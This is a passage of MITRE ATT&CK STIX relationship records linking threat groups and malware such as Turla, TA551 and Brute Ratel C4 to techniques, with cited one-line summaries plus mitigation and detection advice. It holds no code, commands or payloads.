2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2d62173-bd89-4d00-bcb6-5e4f6fa43df2","created":"2022-10-12T16:40:30.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:23:17.974Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) has stored collected data in a file called `stari.txt`.(Citation: Mandiant UNC3313 Feb 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2d8189b-efc4-47ff-8b63-ec58e18abc7e","type":"relationship","created":"2020-03-15T00:37:59.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T00:37:59.164Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2d946f4-04fe-4b56-8152-80644b6b22d5","created":"2020-12-17T15:41:29.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike AWS User Federation Persistence","description":" Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.","url":"https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"},{"source_name":"Microsoft SolarWinds Customer Guidance","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-21T13:39:53.082Z","description":"Ensure that user accounts with administrative rights follow best practices, including use of privileged access workstations, Just in Time/Just Enough Administration (JIT/JEA), and strong authentication. Reduce the number of users that are members of highly privileged Directory Roles.(Citation: Microsoft SolarWinds Customer Guidance) In AWS environments, prohibit users from calling the `sts:GetFederationToken` API unless explicitly required.(Citation: Crowdstrike AWS User Federation Persistence)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2da9aaa-de4a-4825-b82d-d07ecc34e35c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","source_name":"Talos Cobalt Group July 2018"},{"source_name":"Security Intelligence More Eggs Aug 2019","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."}],"modified":"2019-09-16T19:41:10.247Z","description":"[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the username from the victim's machine.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2dfe70c-701e-4cda-997f-12b91f7eb288","created":"2022-08-03T03:24:18.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpecterOps Certified Pre Owned","description":"Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022.","url":"https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-21T20:32:29.699Z","description":"Monitor certificate-based authentication events, such as EID 4768 when an AD CS certificate is used for Kerberos authentication (especially those that don’t correspond to legitimately issued certificates) or when Secure Channel (`Schannel`, associated with SSL/TLS) is highlighted as the `Logon Process` associated with an EID 4624 logon event.(Citation: SpecterOps Certified Pre Owned)","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2e028ed-49e0-41ec-8400-8f8dc1ae6435","type":"relationship","created":"2021-04-20T19:17:12.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2021-04-20T19:17:12.825Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has staged tools, including [gsecdump](https://attack.mitre.org/software/S0008) and WCE, on previously compromised websites.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2e075b3-1125-4259-bf0b-1ff90c738354","type":"relationship","created":"2021-03-19T21:04:00.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 TA551 Jan 2021","url":"https://unit42.paloaltonetworks.com/ta551-shathak-icedid/","description":"Duncan, B. (2021, January 7). TA551: Email Attack Campaign Switches from Valak to IcedID. Retrieved March 17, 2021."}],"modified":"2021-03-19T21:04:00.991Z","description":"[TA551](https://attack.mitre.org/groups/G0127) has masked malware DLLs as dat and jpg files.(Citation: Unit 42 TA551 Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--94873029-f950-4268-9cfd-5032e15cb182","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2e9a182-dc12-42f1-80fe-60ceea01784d","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2f155f1-5152-4681-9c0b-b4a01968fa2e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Catchamas April 2018","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}],"modified":"2020-03-16T16:28:16.100Z","description":"[Catchamas](https://attack.mitre.org/software/S0261) captures screenshots based on specific keywords in the window’s title.(Citation: Symantec Catchamas April 2018)","relationship_type":"uses","source_ref":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f2f3bc50-78d0-490f-a91a-c0df35f68891","created":"2024-03-01T18:46:31.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:23:42.555Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors leveraged tools including Interactsh to identify vulnerable targets, PySoxy to simultaneously dispatch traffic between multiple endpoints, BusyBox to enable post exploitation activities, and Kubo Injector to inject shared objects into process memory.(Citation: Mandiant Cutting Edge January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2f68eb7-4110-4750-9d1c-58774036672b","type":"relationship","created":"2020-03-02T19:05:18.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T17:39:13.418Z","description":"Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments.","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f2f8d56c-4a10-4be4-884d-7982931bd303","created":"2021-10-01T01:57:31.887Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has developed custom malware such as [Hildegard](https://attack.mitre.org/software/S0601).(Citation: Unit 42 Hildegard Malware)","modified":"2022-04-14T21:05:11.831Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2f93fbb-2164-4de7-9d0b-24ad93caf7f2","type":"relationship","created":"2020-12-17T16:16:08.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}],"modified":"2020-12-28T15:29:54.586Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used the Csvde tool to collect Active Directory files and data.(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f2fd105e-f481-486a-97b6-d5ef3324a787","type":"relationship","created":"2020-02-20T14:34:08.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2022-03-25T19:34:42.047Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f304b74c-85c7-4bd6-85bc-bec918a4fb7e","type":"relationship","created":"2019-04-19T12:37:34.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}],"modified":"2019-04-24T23:55:43.447Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) decodes an embedded executable using base64 and decompresses it.(Citation: Unit42 DarkHydrus Jan 2019)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f3055d9f-986e-4202-bb13-c956069bb43f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"}],"modified":"2020-03-20T15:43:40.930Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has also used [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-ReflectivePEInjection.ps1 to reflectively load a PowerShell payload into a random process on the victim system.(Citation: ESET Turla PowerShell May 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f30598a2-f1bd-41da-874c-9b883d54790d","type":"relationship","created":"2021-10-13T22:50:48.783Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-10-13T22:50:48.783Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has attempted to get users to click on a malicious zipped file.(Citation: Symantec WastedLocker June 2020) ","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f308adef-2601-41b2-9da8-b785a7adf06c","type":"relationship","created":"2021-02-23T20:50:33.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."},{"source_name":"Trend Micro Conficker","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/conficker","description":"Trend Micro. (2014, March 18). Conficker. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.447Z","description":"[Conficker](https://attack.mitre.org/software/S0608) variants used the Windows AUTORUN feature to spread through USB propagation.(Citation: SANS Conficker)(Citation: Trend Micro Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f309c2e1-779f-4ff4-b6b7-579aca478239","type":"relationship","created":"2021-03-25T13:55:30.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Google Election Threats October 2020","url":"https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/","description":"Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021."},{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:49:34.844Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used Dropbox for C2 allowing upload and download of files as well as execution of arbitrary commands.(Citation: Google Election Threats October 2020)(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f315cbb6-e49c-4820-99cb-262d36acf17f","type":"relationship","created":"2019-01-30T18:58:03.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2019-04-22T19:48:08.987Z","description":"[Cannon](https://attack.mitre.org/software/S0351) can download a payload for execution.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f3182645-cd5b-43af-b1ec-c1fb9e15f2af","created":"2024-01-22T18:42:31.586Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T18:42:31.586Z","description":"[LoFiSe](https://attack.mitre.org/software/S1101) can collect all the files from the working directory every three hours and place them into a password-protected archive for further exfiltration.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f318a490-68df-41ee-864e-8611be36c442","created":"2023-02-07T21:20:17.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-08T18:32:29.561Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has used search order hijacking to load a malicious payload DLL as a dependency to a benign application packaged in the same ISO.(Citation: Palo Alto Brute Ratel July 2022)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f31ff00d-794c-41ef-ab92-65bf7ff25169","created":"2024-07-29T22:28:58.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"},{"source_name":"DomainTools WinterVivern 2021","description":"Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.","url":"https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:05:55.960Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) passed execution from document macros to PowerShell scripts during initial access operations.(Citation: DomainTools WinterVivern 2021) [Winter Vivern](https://attack.mitre.org/groups/G1035) used batch scripts that called PowerShell commands as part of initial access and installation operations.(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f32828b5-ab55-4bf5-af89-1d6e42d559b0","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:24:11.200Z","description":"[POORAIM](https://attack.mitre.org/software/S0216) has been delivered through compromised sites acting as watering holes.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--53d47b09-09c2-4015-8d37-6633ecd53f79","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f32bf5eb-d570-4b3a-bb10-8318d3eac73e","created":"2024-09-25T14:07:11.175Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:07:11.175Z","description":"Monitor for excessive use of SaaS applications, especially messaging and AI-related services. In AWS SES environments, monitor for spikes in calls to the `SendEmail` or `SendRawEmail` API. Especially note the use of services which are not typically used by the organization. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--924d273c-be0d-4d8d-af58-2dddb15ef1e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f32c486c-37f6-48c2-bdff-f9468d7b9601","type":"relationship","created":"2021-04-23T03:55:22.538Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-26T15:41:39.412Z","description":"Ensure proper permissions are set for the Registry to prevent users from modifying keys related to code signing 